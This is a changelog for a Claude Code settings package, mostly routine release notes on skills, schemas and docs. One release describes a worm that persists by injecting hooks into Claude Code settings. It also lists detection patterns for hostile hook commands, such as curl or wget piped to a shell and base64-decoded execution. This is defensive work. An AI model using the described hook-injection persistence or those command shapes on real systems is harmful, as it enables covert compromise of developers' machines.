Added explicit guidance for prompt-cache hygiene under Context Hygiene. Anthropic caches index by exact prefix match — small habits (model switching mid-task, editing CLAUDE.md during a session, reordering tool defs) silently trash cache hits. On flat-rate plans cache misses don't cost dollars but burn 5h-window quota and add latency. The section names the five most common patterns to avoid and notes how the existing compact-at-65% rule interacts with caching.

Files changed

  • src/hooks/statusline.ts
  • AGENTS.md
  • src/setup.ts (VERSION 11.0.4 → 11.0.5)
  • CHANGELOG.md

[11.0.4] — 2026-05-12

security: supply-chain hook defense (Shai-Hulud / npm worm pattern)

In May 2026 the "Mini Shai-Hulud" npm/PyPI worm compromised 172 packages across @tanstack, @mistralai, @guardrails-ai, @uipath, @opensearch-project. Persistence mechanism: post-install payload injects a SessionStart hook into ~/.claude/settings.json that re-executes on every Claude Code session and survives npm uninstall. cc-settings now ships three defenses against this attack class.

Added — Layer 1: Hooks-block fingerprint

  • src/lib/hooks-fingerprint.ts — canonicalize-then-SHA256 of the merged settings.json hooks block. Key-reorder produces identical hash (canonicalization is stable); injected hooks change the hash.
  • src/hooks/verify-hooks.ts — SessionStart hook. Re-hashes on every session, compares against ~/.claude/.cc-settings-hooks-fingerprint. Silent on match; loud terminal banner on mismatch with remediation steps. Fail-open on any internal error (never blocks session start).
  • src/setup.ts — writes the fingerprint after installSettings succeeds. Re-running setup.sh refreshes the fingerprint (the intended workflow when users intentionally customize hooks).
  • config/40-hooks.json — wires verify-hooks.ts as the first hook in the SessionStart chain (timeout 3s, runs before session-start.ts).

Added — Layer 2: Command auditor

  • src/lib/audit-hooks.ts — classifies every hook command in ~/.claude/settings.json as trusted / unknown / suspicious. Trusted: matches the cc-settings shipped pattern (bun "$HOME/.claude/src/{scripts,hooks,lib}/<name>.ts") or a compound of those. Suspicious patterns flagged: curl|wget pipe to shell, base64 decode + shell, eval $(…), node -e, python -c, /tmp/<exec>, hidden node_modules/.bin/, atob(…), opaque base64 blobs (>250 chars single-token, >85% base64-alphabet density).
  • src/scripts/audit-hooks.ts — CLI, exits 1 on any suspicious finding.
  • bun run audit:hooks script entry in package.json.

Added — Layer 3: SECURITY.md threat model

  • SECURITY.md — documents the threat, the three defense layers, the allowlist convention (every cc-settings hook starts with bun "$HOME/.claude/src/…"), the false-positive workflow (re-run setup.sh to fingerprint custom hooks), the compromise-remediation workflow (backup → manual scrub → re-run setup.sh → rotate creds), and what cc-settings deliberately does not do (no auto-quarantine, no npm install blocking, no cryptographic signing). Sources: Snyk, Socket, StepSecurity, Wiz, The Hacker News, Mend.
  • CLAUDE-FULL.md — one-paragraph reference under the existing Reference section.

Tests

  • tests/audit-hooks.test.ts — 23 cases. Trusted patterns (quoted/unquoted/compound $HOME bun commands). Each suspicious pattern positive case. Unknown-but-not-malware cases. Settings-shape walking (event/group/hook indices preserved). File IO (missing file, malformed JSON, real shape). Report formatting.
  • tests/hooks-fingerprint.test.ts — 16 cases. Canonicalization stability (key-reorder = same hash; array-reorder = different hash, by design). Round-trip write/read. hooksCount aggregation across groups. Atomic write (no .tmp residue). Verify status table (match / mismatch / missing-fingerprint / missing-settings). Malformed settings.json surfaces as mismatch, not silent pass.

Design notes

  • The auditor never refreshes the fingerprint. If it could, malware could call it to whitelist itself.
  • The fingerprint is updated only by setup.sh. This is the deliberate trust anchor — the human re-running setup is the "I've verified the current state" signal.
  • All cc-settings-shipped hooks match bun "$HOME/.claude/src/…". New hooks added to config/40-hooks.json MUST follow this convention; if a third-party tool needs a hook, wrap it in a src/scripts/<wrapper>.ts rather than referencing the binary directly. This invariant is what makes both the auditor and fingerprint work.
  • Detection is conservative: false positives (unknown) surface as warnings; only explicit malware-pattern matches exit non-zero. We'd rather make humans review than miss a real intrusion or block on benign custom hooks.

Files changed:

  • src/lib/audit-hooks.ts (new)
  • src/lib/hooks-fingerprint.ts (new)
  • src/scripts/audit-hooks.ts (new)
  • src/hooks/verify-hooks.ts (new)
  • tests/audit-hooks.test.ts (new)
  • tests/hooks-fingerprint.test.ts (new)
  • SECURITY.md (new)
  • config/40-hooks.json (added verify-hooks to SessionStart chain)
  • src/setup.ts (writes fingerprint after install; bumps VERSION)
  • CLAUDE-FULL.md (added supply-chain defense section)
  • package.json (added audit:hooks script)
  • CHANGELOG.md

[11.0.3] — 2026-05-12

tooling: skills linter + 40-skill soft cap + strict-spec cleanups

Reviewed Anthropic's "Complete Guide to Building Skills for Claude" (May 2026 PDF) against the 38-skill library. We comply with the spec across the board (kebab-case folders, exact SKILL.md casing, frontmatter contract, no README inside, descriptions well under 1024 chars), with three minor angle-bracket frontmatter instances that strict-compliance flagged. Built the linter the audit implied, fixed the cleanups, and codified the skill-count soft cap.

Added:

  • bun run lint:skills — mechanizes Reference A's validation checklist programmatically. Walks skills/*/SKILL.md and reports per-skill findings by severity (error / warning). Lives in src/lib/lint-skills.ts (logic) and src/scripts/lint-skills.ts (CLI). Rules enforced:
    • folder name kebab-case (/^[a-z][a-z0-9-]*$/)
    • reserved-prefix check (claude-*, anthropic-*, literal claude/anthropic)
    • no README.md inside skill folder
    • SKILL.md exists (exact case)
    • ----delimited YAML frontmatter present and parseable
    • frontmatter passes SkillFrontmatter zod schema
    • no < or > chars in frontmatter (raw-text scan — catches passthrough fields like argument-hint)
    • frontmatter name matches folder name
    • description length ≤ 1024 chars (error) / ≥ 50 chars (warning)
    • description contains trigger language (Triggers, Use when, Use for, …) — warning when missing
    • skill count ≤ 40 (SKILL_SOFT_CAP) — warning when crossed
  • tests/lint-skills.test.ts — 17 new tests covering each rule's positive and negative paths. Total suite: 244 → 261 pass.
  • 40-skill soft cap policy (CLAUDE-FULL.md) — Anthropic's guide flags 20–50 as the point where Skill-tool selection degrades. We sit at 38. Adding past 40 should require removing one; the linter surfaces the cap as a warning when crossed.

Strict-spec cleanups (cheap compliance wins):

  • skills/autoresearch/SKILL.md — argument-hint: "<skill-name>" → "[skill-name]"
  • skills/lighthouse/SKILL.md — argument-hint: "<url>" → "[url]"
  • skills/create-handoff/SKILL.md — description context >80% → context over 80%
  • skills/tldr/SKILL.md — description Auto-invoke for → Use for (caught by the new linter's trigger-language heuristic; aligns phrasing with the rest of the library)

Why these (and not the rest of the guide)

cc-settings architecture is past the guide's single-file mindset — we have 38 skills, 25 agents, 11 path-conditioned rules, 5 profiles, hooks, and MCP config installed via git pull, not Claude.ai uploads. Most divergences from the guide are intentional (no scripts//references//assets/ subdir use, extra frontmatter fields like context, agent, requires, argument-hint). The three actions in this release are the only strict-spec gaps worth bridging.

Files changed:

  • src/lib/lint-skills.ts (new)
  • src/scripts/lint-skills.ts (new)
  • tests/lint-skills.test.ts (new)
  • skills/autoresearch/SKILL.md
  • skills/lighthouse/SKILL.md
  • skills/create-handoff/SKILL.md
  • skills/tldr/SKILL.md
  • CLAUDE-FULL.md
  • package.json
  • src/setup.ts
  • CHANGELOG.md

[11.0.2] — 2026-05-12

standards: close three gaps surfaced by the 12-rule CLAUDE.md template

Reviewed Forrest Chang's 12-rule template (the one extending Karpathy's January 2026 4-rule baseline). Most rules duplicate existing cc-settings coverage — Anthropic's base system prompt covers "Think before coding" and "Simplicity first"; our Edit-after-Read requirement enforces "Read before write" mechanically; /checkpoint, /create-handoff, and /compact-at-65% beat hardcoded token budgets; rules/*.md path-conditioning beats "match conventions." Three gaps were real and worth bridging.

Added (AGENTS.md → installed at ~/.claude/AGENTS.md):

  • Fail Loud guardrail — generalizes existing piecemeal honesty rules (Never Fake Measurements, Visual/Spatial Honesty). "Done" is wrong when anything was skipped, mocked, or unverified — surface it in the final message instead of glossing over partial completion.
  • Surface Conflicts, Don't Average guardrail — when two existing patterns in the codebase contradict, pick the more recent/tested one and flag the other for cleanup. Never blend conflicting patterns into "average" code that satisfies both.

Added (agents/tester.md):

  • Test Intent, Not Behavior principle — tests must encode why a behavior matters, not just what a function returns. A test that can't fail when business logic changes is testing the implementation, not the contract.
  • Surface Skips principle — links back to Fail Loud guardrail; never silently .skip or .only a test.

Why these three (and not the other nine)

The post's other rules either duplicated what we already have (often more sharply) or operate at the wrong layer for our setup. cc-settings is past single-file CLAUDE.md mindset — path-conditioned rules/, skill architecture, and verification hooks do work that prose can't. Full evaluation in conversation log; not duplicated here.

Files changed:

  • AGENTS.md
  • agents/tester.md
  • src/setup.ts
  • CHANGELOG.md

[11.0.1] — 2026-05-12

sync: Claude Code 2.1.139

Two new optional hook fields adopted into the schema. Nothing removed; nothing in cc-settings is made redundant by 2.1.139. All other 2.1.139 additions are native CLI/TUI features (claude agents, /goal, /scroll-speed, claude plugin details, transcript navigation) or runtime behavior (MCP CLAUDE_PROJECT_DIR, /mcp reconnect, compaction prompt) with no cc-settings surface to update.

Adopted:

  • CommandHook.args: string[] — exec form. When set, CC spawns command directly with this argv instead of via a shell. Safer for paths with spaces; removes shell-quoting from command. (upstream 2.1.139.) Added to src/schemas/hooks.ts and documented in docs/hooks-reference.md.
  • HookCommon.continueOnBlock: boolean — PostToolUse-only. When the hook returns a block signal, the turn continues anyway (the block surfaces in context but doesn't abort). Use for soft warnings. (upstream 2.1.139.) Added to src/schemas/hooks.ts and documented in docs/hooks-reference.md.

Deletions / Native-now-redundant:

  • None.

Files changed:

  • src/schemas/hooks.ts
  • docs/hooks-reference.md
  • upstream/claude-code-manifest.json
  • src/setup.ts
  • CHANGELOG.md

[11.0.0] — 2026-05-11

refactor: drop pinchtab, single browser-automation surface (chrome-devtools MCP)

Major version bump because this removes a published skill (/pinchtab) and an installed CLI dependency. The browser-automation surface is now exclusively the chrome-devtools MCP server, which is richer (CDP, perf traces, network, console, lighthouse, screenshots, a11y snapshots, clicks, fills) and integrates with ENABLE_TOOL_SEARCH so its descriptions don't burn context when idle.

What changed

  • skills/pinchtab/ deleted — the /pinchtab slash command no longer exists. Skill count 39 → 38.
  • src/setup.ts — removed npm i -g pinchtab from installDependencies. Fresh installs no longer touch global npm for this.
  • config/30-permissions.json — dropped Bash(pinchtab:*) allow rule.
  • skills/qa/SKILL.md — rewritten to call mcp__chrome-devtools__* tools (navigate_page, take_snapshot, take_screenshot, click, fill, hover, press_key, resize_page, evaluate_script). Workflow + tool cheat-sheet updated.
  • skills/figma/SKILL.md — removed the Figma desktop CDP integration (brittle, required --remote-debugging-port and a separate pinchtab profile). Figma MCP remains the canonical interface for design data; chrome-devtools MCP screenshots the running implementation only. Documented the deliberate choice ("Figma MCP is the canonical Figma interface — don't screenshot it").
  • skills/lighthouse/SKILL.md — visual-regression and baseline screenshots now use mcp__chrome-devtools__take_screenshot instead of pinchtab screenshot. The lighthouse CLI is still required (for the batched 3×3 averaged audit protocol); the MCP server's lighthouse_audit is a quicker alternative for ad-hoc runs.
  • agents/tester.md — E2E section rewritten: testing stack now lists chrome-devtools MCP in place of pinchtab (E2E/visual tests). Both pinchtab blocks (testing-stack list + workflow example) converted to MCP tool calls.
  • hooks/verification-check.md — "UI Screenshot" verification step references mcp__chrome-devtools__take_screenshot.
  • rules/accessibility.md — "Tools" section references mcp__chrome-devtools__take_snapshot (text-based a11y tree) instead of pinchtab snap.
  • profiles/webgl.md — Visual QA row points at /qa (chrome-devtools MCP).
  • src/scripts/post-edit.ts — post-edit hint updated to "Run /qa to validate via chrome-devtools MCP".
  • tests/install-e2e.test.ts — CC_SKIP_DEPS=1 comment no longer mentions pinchtab.
  • Doc tables — MANUAL.md, README.md, USAGE.md, skills/README.md, docs/settings-reference.md, docs/frontmatter-reference.md (skill listings, Bash(pinchtab:*) permission line, "Skills using fork" list, "All Skills" table row) all cleaned of /pinchtab references.

Migration for existing users

Re-run setup.sh (or /cc-update). The installer overwrites ~/.claude/ from the repo, so skills/pinchtab/ will be removed on next install. The global pinchtab npm package will linger on your machine — uninstall it manually with npm uninstall -g pinchtab if you want it gone. Existing prompts that reach for /pinchtab should now reach for /qa (structured review) or call mcp__chrome-devtools__* tools directly.

refactor: compress 38 skill descriptions (8072 → 6732 chars, −17%)

The Skill tool's selector reads every skill description into context on every turn. Trimming the description budget reduces per-session overhead. No trigger keywords were removed — only redundant prose, "formerly /X" breadcrumbs that have moved to skill bodies, and over-qualified "for Y use /Z" notes that the model can infer from context.

Top compressions:

SkillBeforeAfterΔ
create-handoff365233-132
orchestrate363227-136
checkpoint350246-104
explore336235-101
compare-approaches294248-46
qa282234-48
long-task291207-84
build261199-62

20 other skills got smaller per-description reductions. The 5 shortest (lenis, init, ship, ask, refactor) were already lean — left alone.

docs: MCP _status audit

Phase 3 of the rebuild. Audited every server's _status: core claim against actual usage in shipped skills/agents/hooks/rules/docs. All 4 servers in config/20-mcp.json are correctly classified: chrome-devtools (59 refs after the pinchtab drop), tldr (38), context7 (8), figma (4). The 5th server in mcp-configs/recommended.json (Sanity) is core despite 0 references in shipped code — but Sanity is a Darkroom stack baseline (per-user auth means it lives in ~/.claude.json, not the shipped MCP config), so the classification is correct. No reclassifications needed.

refactor: profile shrink evaluated, declined

Phase 2 of the rebuild was to extract a profiles/_base.md from the 5 stack profiles. Delegated to an implementer agent; the agent's honest report: profiles share almost no verbatim content (only ~15 lines of true overlap between nextjs.md and react-router.md). A _base.md extraction would net +51 total lines for marginal abstraction value. Decision: do not extract. Re-evaluate if a 6th profile is added or if real overlap accumulates.

What v11.0.0 doesn't change

  • All zod schemas — unchanged
  • All agents (except tester.md content edit) — unchanged
  • All hooks (except verification-check.md content edit) — unchanged
  • All MCP server configs (except dropping pinchtab references) — unchanged

Files changed (30):

  • skills/pinchtab/SKILL.md (deleted)
  • skills/{qa,figma,lighthouse}/SKILL.md (rewritten to use chrome-devtools MCP)
  • skills/{create-handoff,orchestrate,checkpoint,explore,compare-approaches,long-task,qa,build,figma,cc-sync,cc-update,autoresearch,project,context-doc,consolidate,docs,learn,verify,tdd,write-a-skill,tldr}/SKILL.md (description compression)
  • src/setup.ts (removed pinchtab install; VERSION 10.13.0 → 11.0.0)
  • src/scripts/post-edit.ts (post-edit hint)
  • config/30-permissions.json (dropped pinchtab Bash rule)
  • agents/tester.md (E2E section rewritten)
  • hooks/verification-check.md (UI Screenshot row)
  • rules/accessibility.md (Tools list)
  • profiles/webgl.md (Favored Tools row)
  • tests/install-e2e.test.ts (CC_SKIP_DEPS comment)
  • MANUAL.md, README.md, USAGE.md, skills/README.md, docs/settings-reference.md, docs/frontmatter-reference.md (table + listing updates)
  • CHANGELOG.md

[10.13.0] — 2026-05-11

refactor: skill consolidation — 42 → 39 skills, 3 renames, 5 trigger tightenings

Post-congruence audit (via /consolidate) found three skills that were stubs or duplicates of existing capabilities, three names that obscured their function, and five trigger-keyword collisions. All actioned. Behavior preserved everywhere — every removed or renamed skill's functionality lives on under a different name, with backward-compatibility breadcrumbs in MANUAL.md / README.md / SKILL.md descriptions.

Drops / merges (4 → 1 skill removed, 3 folded into siblings):

  • audit — broken YAML (description: | with no value). Description rewritten to a single line clarifying it's slash-only.
  • teams — merged into orchestrate. The 22-line stub was a parallel-fan-out specialization of the same maestro delegation. Body folded into a "When to Fan Out (Teams mode)" section in orchestrate/SKILL.md. Triggers migrated.
  • zoom-out — merged into explore. Self-described as "Counter to /explore" — it was a focused mode, not a separate skill. Body folded into an "Upward-zoom mode" section in explore/SKILL.md. Triggers migrated.
  • context — runbook folded into create-handoff. Trigger "compact" collided with the native /compact command; "context window" / "running out of context" triggers moved to create-handoff. The full context-window runbook (statusline thresholds, model degradation table, structured compaction template, post-compaction validation, proactive reduction tips) is now a final section in create-handoff/SKILL.md.

Renames (3) — names now match function:

  • f-thread → compare-approaches — f-thread was a Darkroom-internal label. New name is self-documenting and matches the trigger phrases.
  • l-thread → long-task — same opacity problem. New name distinguishes from the t* cluster (tldr/teams/tdd/test) it used to crowd into alphabetically.
  • debug → pinchtab — the skill is not general debugging, it's a wrapper around the pinchtab CLI. The misleading name was stealing invocations from /fix via the "bug"/"broken" trigger words.

Trigger tightening (5) — eliminates collisions:

  • build — removed the word "component" from the description (it was stealing from /component)
  • pinchtab (was debug) — dropped generic "bug"/"broken" terms; restricted to visual/UI/E2E
  • qa — dropped "validate" (now reserved for /verify); lead with "Visual + a11y QA"
  • checkpoint — clarified scope to mid-task rollback before risky operations; moved "save progress" out
  • create-handoff — leads with end-of-session boundary; absorbs context-window triggers from former /context

Inbound references updated (no broken links):

  • agents/maestro.md — FBPCL framework lines now reference /compare-approaches and /long-task
  • agents/planner.md, agents/security-reviewer.md, rules/ui-skills.md — paths to relocated reference docs (carried over from v10.12.1)
  • docs/thread-types.md — skill file paths updated
  • docs/frontmatter-reference.md — fork/inherit skill lists, agent-delegation table, "All Skills" table
  • hooks/README.md — checkpoint.md / verification-check.md cross-references
  • MANUAL.md, USAGE.md, README.md, skills/README.md — all trigger tables, slash command references, and prose mentions

Conceptual names preserved: docs/thread-types.md retains "F-Thread" and "L-Thread" as section headers — these are the FBPCL framework categories (Fusion / Long-duration), distinct from the slash command names. Only the implementation pointers (See: skills/.../SKILL.md) were updated.

Result: 42 → 39 skills. No functionality lost; every former skill has either a renamed home or a fold-in target with its triggers preserved.

Files changed (16):

  • skills/audit/SKILL.md (YAML fix)
  • skills/orchestrate/SKILL.md (teams folded in)
  • skills/explore/SKILL.md (zoom-out folded in)
  • skills/create-handoff/SKILL.md (context runbook folded in)
  • skills/teams/SKILL.md (deleted)
  • skills/zoom-out/SKILL.md (deleted)
  • skills/context/SKILL.md (deleted)
  • skills/f-thread/ → skills/compare-approaches/ (renamed + frontmatter updated)
  • skills/l-thread/ → skills/long-task/ (renamed + frontmatter updated)
  • skills/debug/ → skills/pinchtab/ (renamed + frontmatter + clarifying body)
  • skills/build/SKILL.md (trigger tightening)
  • skills/qa/SKILL.md (trigger tightening)
  • skills/checkpoint/SKILL.md (trigger tightening)
  • agents/maestro.md (FBPCL slash-command refs)
  • docs/thread-types.md (skill file paths)
  • docs/frontmatter-reference.md (three tables)
  • hooks/README.md, skills/README.md, MANUAL.md, USAGE.md, README.md (skill listings + trigger tables)
  • src/setup.ts (VERSION 10.12.1 → 10.13.0)
  • CHANGELOG.md

[10.12.1] — 2026-05-11

docs: document 13 schema keys + relocate reference docs to docs/

Post-sync congruence pass surfaced two pre-existing gaps that predated v10.12.0:

docs/settings-reference.md — 13 keys from src/schemas/settings.ts had no dedicated section. Added concise sections (each with a json snippet) for:

  • showThinkingSummaries, autoScrollEnabled, changelogUrl
  • disableAllHooks, disableAutoMode, disableBypassPermissionsMode, disableSkillShellExecution, disableDeepLinkRegistration
  • channelsEnabled / allowedChannelPlugins (paired)
  • allowedMcpServers / deniedMcpServers (paired)
  • feedbackSurveyRate

Documentation now matches schema 1:1 — every top-level key in Settings (zod) has either a dedicated ### key section or is the subject of a top-level section (Permissions, MCP Server Configuration, Hook Configuration).

Reference docs relocated — four .md files that lived at the root of skills/ were not skills; they were reference material that agents/*.md and rules/*.md linked to. Moved to docs/ where reference docs belong, since skills/ is for <name>/SKILL.md directories used by the Skill tool:

  • skills/accessibility.md → docs/accessibility.md
  • skills/architecture-reference.md → docs/architecture-reference.md
  • skills/security-reference.md → docs/security-reference.md
  • skills/seo-reference.md → docs/seo-reference.md

Inbound references updated atomically in rules/ui-skills.md, agents/planner.md, agents/security-reviewer.md. Files are still copied to ~/.claude/docs/ by installConfigFiles (which iterates ["agents", "skills", "profiles", "rules", "contexts", "hooks", "docs"]) — no installer change required, only the relative path in the inbound references.

Files changed:

  • docs/settings-reference.md (13 new ### sections inserted before ## Permissions)
  • docs/accessibility.md (moved from skills/)
  • docs/architecture-reference.md (moved from skills/)
  • docs/security-reference.md (moved from skills/)
  • docs/seo-reference.md (moved from skills/)
  • rules/ui-skills.md (path update)
  • agents/planner.md (path update)
  • agents/security-reviewer.md (path update)
  • src/setup.ts (VERSION 10.12.0 → 10.12.1)
  • CHANGELOG.md

[10.12.0] — 2026-05-11

feat: sync upstream to Claude Code 2.1.138 — 3 new top-level settings, 6 new env vars

Upstream 2.1.129 → 2.1.138 ships three new top-level settings, a new permissions-nested array, two new sandbox path overrides, six new env vars, and a new hook JSON input field. The rest of the ~80 upstream entries in this range are bug fixes that don't overlap with cc-settings hooks, scripts, or schemas — no dedupe required.

Adopted (schema):

  • worktree.baseRef (v2.1.133) — fresh | head chooses whether --worktree, EnterWorktree, and agent-isolation worktrees branch from origin/<default> (fresh, the new default) or local HEAD (head). The new default reverts the 2.1.128 change we tracked in v10.11.2 — EnterWorktree's base went origin/<default> → local HEAD in 2.1.128, then back to origin/<default> in 2.1.133. Users who relied on the 2.1.128 behavior (carrying unpushed commits into worktrees) should set worktree.baseRef: "head" explicitly. src/schemas/settings.ts extends the existing worktree block with a strict baseRef enum.
  • skillOverrides (v2.1.129) — per-skill record, off | user-invocable-only | name-only. Previously documented but non-functional; the v2.1.129 bug fix made it real. src/schemas/settings.ts adds a strict z.record(string, enum).
  • parentSettingsBehavior (v2.1.133, admin-tier) — 'first-wins' | 'merge' for SDK managedSettings policy participation. src/schemas/settings.ts adds a strict enum.
  • permissions.autoMode.hard_deny (v2.1.136) — array of permission rules that block unconditionally regardless of user intent or allow exceptions. src/schemas/permissions.ts AutoModeConfig now documents the field; the existing .passthrough() already accepted it at install time, but now editor IntelliSense surfaces it.
  • sandbox.bwrapPath / sandbox.socatPath (v2.1.133) — Linux/WSL managed overrides for bubblewrap and socat binary locations. src/schemas/settings.ts Sandbox documents both; passthrough already accepted them.

Adopted (manifest):

  • upstream/claude-code-manifest.json — claudeCodeVersion 2.1.128 → 2.1.138, lastScan 2026-05-11.
  • knownSettingsKeys += parentSettingsBehavior, skillOverrides, worktree.
  • knownEnvVars += CLAUDE_CODE_DISABLE_ALTERNATE_SCREEN, CLAUDE_CODE_ENABLE_FEEDBACK_SURVEY_FOR_OTEL, CLAUDE_CODE_ENABLE_GATEWAY_MODEL_DISCOVERY, CLAUDE_CODE_FORCE_SYNC_OUTPUT, CLAUDE_CODE_PACKAGE_MANAGER_AUTO_UPDATE, CLAUDE_CODE_SESSION_ID.

Adopted (docs):

  • docs/settings-reference.md — env table gains the 6 new env vars (with version annotations), sandbox table gains bwrapPath/socatPath, worktree section gains baseRef, new sections skillOverrides/parentSettingsBehavior, and a new permissions.autoMode subsection documents hard_deny.
  • docs/hooks-reference.md — $CLAUDE_EFFORT env var is now exposed to Bash subprocesses and to hook scripts; JSON input gains effort.level (v2.1.133). New "Effort Level in JSON Input" subsection.

Deletions / Native-now-redundant: none. None of the 2.1.129 → 2.1.138 fixes overlap with cc-settings workarounds — the upstream Bash(mkdir *) / Bash(touch *) allow-rule fix (v2.1.129) honors patterns we already had in config/30-permissions.json without any change on our side.

Skipped (notable): VS Code activation fix (2.1.137), VS Code/Mantle gateway fixes (2.1.131), ~50 bug fixes in 2.1.136 (login race, MCP OAuth refresh, plan-mode Edit allow rule, /usage, plugin slugs, BG color artifacts, etc.), 2.1.133 misc fixes (parallel 401, drive-root rules, mapped drives, subagent skill discovery, etc.), 2.1.132 misc fixes (SIGINT, surrogates, paste, vim NFD, fullscreen sleep/wake, MCP stdio runaway, Bedrock 400), 2.1.129 CLI flags (--plugin-url) and plugin manifest themes/monitors reorg (cc-settings ships no plugin manifest).

Files changed:

  • src/schemas/settings.ts (new fields: worktree, skillOverrides, parentSettingsBehavior, Sandbox.bwrapPath, Sandbox.socatPath)
  • src/schemas/permissions.ts (new field: AutoModeConfig.hard_deny)
  • upstream/claude-code-manifest.json (version + scan date + 3 settings keys + 6 env vars)
  • docs/settings-reference.md
  • docs/hooks-reference.md
  • src/setup.ts (VERSION 10.11.2 → 10.12.0)
  • CHANGELOG.md

[10.11.2] — 2026-05-05

chore: sync upstream tracking to Claude Code 2.1.128 (no schema impact)

Tracking-only sync. Upstream 2.1.128 is overwhelmingly bug fixes (30+) plus a handful of small UX/CLI changes. None require schema changes, hook event additions, or new env var tracking. (2.1.127 was skipped upstream.)

Adopted: none — no new schema-relevant surface area.

Deletions / Native-now-redundant: none — nothing in cc-settings is subsumed by 2.1.128.

Notable upstream changes (no cc-settings impact, recorded for reference):

  • --channels now works with console (API key) auth; managed-settings orgs must set channelsEnabled: true. Schema comment on src/schemas/settings.ts channelsEnabled updated to note this.
  • MCP: workspace is now a reserved server name. Verified no shipped cc-settings MCP config (config/20-mcp.json, mcp-configs/) uses that name.
  • Subprocesses (Bash, hooks, MCP, LSP) no longer inherit OTEL_* env vars. cc-settings already exposes the related CLAUDE_CODE_SUBPROCESS_ENV_SCRUB knob; no change needed.
  • EnterWorktree now creates branches from local HEAD as documented (was branching from origin/<default>). cc-settings does not invoke this tool from any skill or hook; only skills/cc-update/SKILL.md references origin/main, and that is for our own update flow, unrelated.
  • ~25 other bug fixes (focus mode, OSC 9 desktop notification, drag-drop, fenced-code-block clipboard whitespace, vim NORMAL-mode Space, Bedrock default-model prefix, parallel shell tool calls, sub-agent prompt caching, etc.) — all bug fixes with no cc-settings overlap.

Manifest: upstream/claude-code-manifest.json bumped (claudeCodeVersion 2.1.126 → 2.1.128, lastScan 2026-05-05). No additions to knownSettingsKeys, knownHookEvents, knownHookTypes, knownEnvVars, knownPermissionModes, knownMcpTransports, or knownBuiltinTools.

Files changed:

  • upstream/claude-code-manifest.json
  • src/schemas/settings.ts (comment only)
  • src/setup.ts (VERSION bump)
  • CHANGELOG.md

[10.11.1] — 2026-05-04

fix: $schema must be the schemastore URL — Claude Code skips the entire settings.json otherwise

Clean installs were silently losing every setting (env vars, statusLine, hooks, permissions) because config/10-core.json declared $schema as https://raw.githubusercontent.com/darkroomengineering/cc-settings/main/schemas/settings.schema.json — the cc-settings extended schema. Claude Code's settings validator only accepts https://json.schemastore.org/claude-code-settings.json and skips the whole file on any other value. Symptom in the wild: a clean install of Claude + cmux + cc-settings produced an empty statusline and a "Settings Error" banner.

Fixed by switching config/10-core.json to the canonical schemastore URL. cc-settings's own extended schemas (agent.schema.json, hooks-config.schema.json, skill.schema.json, claude-json.schema.json) remain published and used for non-settings files, where editor IntelliSense isn't gated by Claude Code's runtime check. docs/settings-reference.md updated to document the constraint so the broken pattern doesn't get re-copied.

[10.11.0] — 2026-05-04

feat: MCP servers — _status: core | optional annotation; install summary groups by status

A new team member could install cc-settings, see 5 MCP servers in ~/.claude.json, and have no way to tell which were the team baseline vs which were the previous owner's preferences. The _status annotation closes that.

Schema — src/schemas/mcp.ts _status field changed from "installed" | "optional" to "core" | "optional". Existing values renamed for clarity (installed was ambiguous — installed by whom, into what).

Configs annotated:

  • config/20-mcp.json — every shipped server (context7, tldr, figma, chrome-devtools) now declares _status: "core".
  • mcp-configs/recommended.json — every server in mcpServers (5) is core; every server in optionalMcpServers (3) is optional.

Install-summary surface (src/setup.ts showSummary):

MCP servers in ~/.claude.json:
  core:
    - context7
    - tldr
    - figma
    - chrome-devtools
    - Sanity
  optional (manually added):
    - github
  user-added:
    - my-internal-server

The three buckets — core, optional, user-added (no _status field) — make it obvious which servers came from cc-settings, which the user added from the optional list, and which are the user's own (custom team-internal MCPs etc.).

MANUAL.md — new "MCP servers (core vs optional)" section under "Advanced". Tables enumerate each core server's purpose + which skill(s) use it, and each optional server's "why optional" rationale.

Files changed:

  • src/schemas/mcp.ts — _status enum updated, comment block explaining the field.
  • config/20-mcp.json — _status: "core" on all 4 servers.
  • mcp-configs/recommended.json — renamed installed → core, added optional to the 3 optionalMcpServers entries.
  • src/setup.ts — showSummary now groups MCP servers by _status (3 buckets).
  • MANUAL.md — new MCP servers section.
  • schemas/{skill,agent,claude-json}.schema.json — regenerated.
  • src/setup.ts — VERSION 10.10.3 → 10.11.0.

[10.10.3] — 2026-05-04

ci: dedicated install-e2e + bash-bootstrap jobs

CI's test matrix already runs tests/install-e2e.test.ts on ubuntu-latest / macos-latest / windows-latest — install failures were technically caught, just buried among 240+ unrelated tests. Two new jobs surface them as their own PR checks:

  • install-e2e (Ubuntu + macOS) — runs tests/install-e2e.test.ts and tests/golden-migrations.test.ts in isolation. Fastest signal when an install regression lands.
  • install-bash-bootstrap (Ubuntu + macOS) — runs bash setup.sh --dry-run to validate the bootstrap path itself (the bash wrapper that ensures Bun is installed before exec'ing bun src/setup.ts). Catches bash-specific bugs that the direct-bun path misses.

Windows is excluded from both — it goes through setup.ps1, which has its own (currently untested) bootstrap and its own escape hatches. Closing that gap is a separate task tracked in docs/migration-coexistence.md.

Files changed:

  • .github/workflows/ci.yml — two new jobs added.
  • src/setup.ts — VERSION 10.10.2 → 10.10.3.

[10.10.2] — 2026-05-04

chore: self-/consolidate audit logged

Ran /consolidate on cc-settings' own surface (42 skills + 10 agents + 11 rules + 5 profiles). The methodology in skills/consolidate/SKILL.md was applied to the repo itself: trigger overlap audit, rule contradiction audit, discoverability check.

Decision: no merges, no retirements this cycle. The 9 intent clusters identified all sit at distinct specificity levels. The v10.4.0 stack-aware refactor already restructured the rules with explicit foundation/extension cross-references; further splitting would dilute, merging would create unwieldy multi-purpose files.

Full audit findings + trigger criteria for the next cycle are in docs/consolidation-audits/2026-05.md. Audit recommended at Q3 2026, or when surface counts cross documented thresholds (skills >50, rules LOC >2500), or on overlap signals.

Files changed:

  • docs/consolidation-audits/2026-05.md — new audit log (first in series).
  • src/setup.ts — VERSION 10.10.1 → 10.10.2.

[10.10.1] — 2026-05-04

docs: explicit Bun requirement; Node fallback dropped from the plan

A probe of the proposed Node 22 LTS fallback (P2.C of the cc-settings improvement plan) revealed the codebase is more deeply Bun-coupled than initial scoping suggested: Bun.spawn, Bun.which, Bun.file, import.meta.dir are used across 30+ files including every hook script. Porting via a runtime-abstraction layer is realistic but multi-day work — out of scope for Phase 2's "quick wins + medium refactors" frame.

Decision: drop the Node fallback. Bun is required, period. MANUAL.md's Quickstart now states this explicitly so users on locked-down environments learn the requirement upfront instead of mid-bootstrap.

